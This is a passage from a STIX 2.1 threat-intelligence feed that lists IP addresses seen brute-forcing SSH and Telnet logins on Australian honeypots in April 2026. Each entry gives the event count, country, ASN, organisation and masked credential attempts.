        "bruteforce"
      ],
      "modified": "2026-04-24T20:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '164.92.174.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T20:15:30.000Z",
      "valid_until": "2026-05-26T20:15:08.000Z"
    },
    {
      "created": "2026-04-24T20:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 564. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, u**r, m*****r, m***l. Passwords observed (masked): 1**4, 1****6, a***n, p******d, 1***5.",
      "id": "indicator--e6ff26db-9d99-448d-bcf8-e31b6810683d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T20:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.243.150.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T20:15:30.000Z",
      "valid_until": "2026-05-26T20:15:08.000Z"
    },
    {
      "created": "2026-04-24T20:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--39c8d329-0745-4e30-931a-a0b21d57c969",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T20:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T20:15:30.000Z",
      "valid_until": "2026-05-26T20:15:08.000Z"
    },
    {
      "created": "2026-04-24T20:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 442. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, c***o, s*****t, t**t. Passwords observed (masked): a***n, 1****6, p******d, 0*************7, 0********1.",
      "id": "indicator--9be557b0-fd95-48e8-bfb8-856a00a77d34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T20:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.41.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T20:15:30.000Z",
      "valid_until": "2026-05-26T20:15:08.000Z"
    },
    {
      "created": "2026-04-24T20:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, ***, s*****t, s****m, u**r. Passwords observed (masked): O************Z, a******4, ***, i****n, r**t.",
      "id": "indicator--9439359f-696d-4293-b1d6-2b961dcd7840",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T20:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.47.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T20:15:30.000Z",
      "valid_until": "2026-05-26T20:15:08.000Z"
    },
    {
      "created": "2026-04-24T20:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 3215. Organisation(s): Orange. Usernames observed (masked): r**t, ***, u****u, 3**********4, a***n. Passwords observed (masked): 1****6, 1******b, 2**6, 3***********4, 3**********4.",
      "id": "indicator--08617f9e-f107-4b0c-a4bf-c5dfc1c626dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T20:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.253.186.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T20:15:30.000Z",
      "valid_until": "2026-05-26T20:15:08.000Z"
    },
    {
      "created": "2026-04-24T21:16:01.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--eef81ab9-0527-4423-92eb-09385c6036ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T21:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.102.213.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:16:01.000Z",
      "valid_until": "2026-05-26T21:15:08.000Z"
    },
    {
      "created": "2026-04-24T21:16:01.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 29465. Organisation(s): MTN NIGERIA Communication limited.",
      "id": "indicator--b85e7db4-1de2-476d-a5a2-edd8de8c5d32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T21:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.90.96.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:16:01.000Z",
      "valid_until": "2026-05-26T21:15:08.000Z"
    },
    {
      "created": "2026-04-24T21:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 149526. Organisation(s): GITELENET PRIVATE LIMITED.",
      "id": "indicator--dc30a028-a9c7-4e11-b423-84264b3c002b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T21:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.182.132.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:16:01.000Z",
      "valid_until": "2026-05-26T21:15:08.000Z"
    },
    {
      "created": "2026-04-24T21:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--50de3462-cf69-4c8f-9c9a-53000a5ed006",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T21:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '13.89.125.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:16:01.000Z",
      "valid_until": "2026-05-26T21:15:08.000Z"
    },
    {
      "created": "2026-04-24T21:16:01.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 24835. Organisation(s): RAYA Telecom - Egypt.",
      "id": "indicator--c2b62c43-f641-4b5a-acec-34957a793380",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T21:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.69.167.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:16:01.000Z",
      "valid_until": "2026-05-26T21:15:08.000Z"
    },
    {
      "created": "2026-04-24T21:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie. Target ports: 22. Source country: MD. ASN(s): 207164. Organisation(s): Primanet Srl. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--4e46b3f2-6b6d-489d-89d6-e937e9ed686b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T21:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.15.226.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:16:01.000Z",
      "valid_until": "2026-05-26T21:15:08.000Z"
    },
    {
      "created": "2026-04-24T21:16:01.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--7d58cc5c-9793-4181-96af-69ccfbd8bf0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T21:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:16:01.000Z",
      "valid_until": "2026-05-26T21:15:08.000Z"
    },
    {
      "created": "2026-04-24T21:16:01.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--0a6811e3-001b-4043-94b3-334846186134",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T21:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:16:01.000Z",
      "valid_until": "2026-05-26T21:15:08.000Z"
    },
    {
      "created": "2026-04-24T21:16:01.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--b7c75101-9c5e-4ca1-be10-fc2cb1fb984a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T21:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:16:01.000Z",
      "valid_until": "2026-05-26T21:15:08.000Z"
    },
    {
      "created": "2026-04-24T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): d****y, r**t. Passwords observed (masked): 2**6, r********!.",
      "id": "indicator--8c217f2d-3d1a-4369-a91d-8e0af0a9cfc0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.190.162.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:15:05.000Z",
      "valid_until": "2026-05-26T22:15:03.000Z"
    },
    {
      "created": "2026-04-24T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): a*****e. Passwords observed (masked): q****y.",
      "id": "indicator--1c2ca2fa-62db-4f48-bcfc-94978d9f7292",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.190.26.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:15:05.000Z",
      "valid_until": "2026-05-26T22:15:03.000Z"
    },
    {
      "created": "2026-04-24T22:15:05.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--a74d0342-24ca-4af1-a5be-637797dd8680",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.236.35.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:15:05.000Z",
      "valid_until": "2026-05-26T22:15:03.000Z"
    },
    {
      "created": "2026-04-24T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 145. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 14080. Organisation(s): Telmex Colombia S.A.. Usernames observed (masked): r**t, s***m, 3**********4, h****t, n****a. Passwords observed (masked): 1****6, 3***********4, 3**********4, A*******3, Q**************#.",
      "id": "indicator--a0591e1a-3f0b-449d-b663-3e145aaa3f43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.146.235.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:15:05.000Z",
      "valid_until": "2026-05-26T22:15:03.000Z"
    },
    {
      "created": "2026-04-24T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): *, a***n, ***. Passwords observed (masked): , *, a***n.",
      "id": "indicator--b758db16-08e0-4f26-a4f2-943b028ed253",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '188.166.161.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:15:05.000Z",
      "valid_until": "2026-05-26T22:15:03.000Z"
    },
    {
      "created": "2026-04-24T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--09905267-f0c5-4db2-9495-5b03e85b403c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:15:05.000Z",
      "valid_until": "2026-05-26T22:15:03.000Z"
    },
    {
      "created": "2026-04-24T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--37fe5d9c-8ef8-4068-905d-a7d16b79eafe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:15:05.000Z",
      "valid_until": "2026-05-26T22:15:03.000Z"
    },
    {
      "created": "2026-04-24T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b96e5f68-0427-44ab-b1bf-6704c9d21414",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.203.210.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:15:05.000Z",
      "valid_until": "2026-05-26T22:15:03.000Z"
    },
    {
      "created": "2026-04-24T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--52872647-4589-48c8-86d0-accf820183b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '131.222.251.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T23:15:11.000Z",
      "valid_until": "2026-05-26T23:15:08.000Z"
    },
    {
      "created": "2026-04-24T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 303. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11427. Organisation(s): Charter Communications Inc. Usernames observed (masked): r**t, 3**********4, ***, p******s, d***s. Passwords observed (masked): 3***********4, 3**********4, 1********0, A******************************0, A*******..",
      "id": "indicator--9fc45c24-b64e-4ad5-baf8-894c5c1e04ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '70.114.116.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T23:15:11.000Z",
      "valid_until": "2026-05-26T23:15:08.000Z"
    },
    {
      "created": "2026-04-24T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--1696d5b2-88f2-497e-a45d-6e94d2c0daf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.138.105.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T23:15:11.000Z",
      "valid_until": "2026-05-26T23:15:08.000Z"
    },
    {
      "created": "2026-04-24T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 212616. Organisation(s): K.m.a Advanced Technologies Ltd.",
      "id": "indicator--8c731544-acab-4ce9-b96d-c305a5739dbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '93.175.47.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T23:15:11.000Z",
      "valid_until": "2026-05-26T23:15:08.000Z"
    },
    {
      "created": "2026-04-25T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45117. Organisation(s): Ishans Network. Usernames observed (masked): *, ***. Passwords observed (masked): , *.",
      "id": "indicator--6061a139-2358-4f19-a0e4-ced459f80d08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.87.217.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T00:15:29.000Z",
      "valid_until": "2026-05-27T00:15:08.000Z"
    },
    {
      "created": "2026-04-25T00:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--5b715f0e-3f7a-483e-8cd8-b1015cc8caeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.123.72.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T00:15:29.000Z",
      "valid_until": "2026-05-27T00:15:08.000Z"
    },
    {
      "created": "2026-04-25T00:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 214828. Organisation(s): StarLight Network, Inc..",
      "id": "indicator--9d4f98fb-11a9-480e-90a4-e846b2325a9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.56.144.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T00:15:29.000Z",
      "valid_until": "2026-05-27T00:15:08.000Z"
    },
    {
      "created": "2026-04-25T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134762. Organisation(s): CHINANET Liaoning province Dalian MAN network. Usernames observed (masked): r**t. Passwords observed (masked): -**************-.",
      "id": "indicator--e1be3fb7-e8ea-4230-9b2e-889594e653b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.226.46.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T00:15:29.000Z",
      "valid_until": "2026-05-27T00:15:08.000Z"
    },
    {
      "created": "2026-04-25T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 45773. Organisation(s): PERN AS Content Servie Provider, Islamabad, Pakistan. Usernames observed (masked): r**t, ***, 3**********4. Passwords observed (masked): 3***********4, 3**********4, Q**********9, Z**********3, d****v.",
      "id": "indicator--b2a2d220-a70f-4fd1-b86a-6f7f83249e9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.68.107.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:15:12.000Z",
      "valid_until": "2026-05-27T01:15:03.000Z"
    },
    {
      "created": "2026-04-25T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 135407. Organisation(s): Trans World Enterprise Services Private Limited. Usernames observed (masked): ***, p******s, r**t, t**t, 3**********4. Passwords observed (masked): 1******8, 1********a, 1*******C, 1****3, 1******c.",
      "id": "indicator--da93f64e-7dec-4eae-8951-d0fe0ff99b4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.57.216.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:15:12.000Z",
      "valid_until": "2026-05-27T01:15:03.000Z"
    },
    {
      "created": "2026-04-25T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): g***t, r**t, 3**********4, s***l, s******n. Passwords observed (masked): 1**4, 3***********4, 3**********4, g******#, q**********4.",
      "id": "indicator--bb5091aa-921d-4d74-83a0-f2ff334430ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.17.133.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:15:12.000Z",
      "valid_until": "2026-05-27T01:15:03.000Z"
    },
    {
      "created": "2026-04-25T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 46042. Organisation(s): Gunadarma University. Usernames observed (masked): r**t, 3**********4, ***, u***1, c*****a. Passwords observed (masked): 1****6, 3***********4, 3**********4, !******r, 1********A.",
      "id": "indicator--f99f3b06-a3e8-45a5-ad94-7377f59ef962",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.125.94.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:15:12.000Z",
      "valid_until": "2026-05-27T01:15:03.000Z"
    },
    {
      "created": "2026-04-25T01:15:12.000Z",
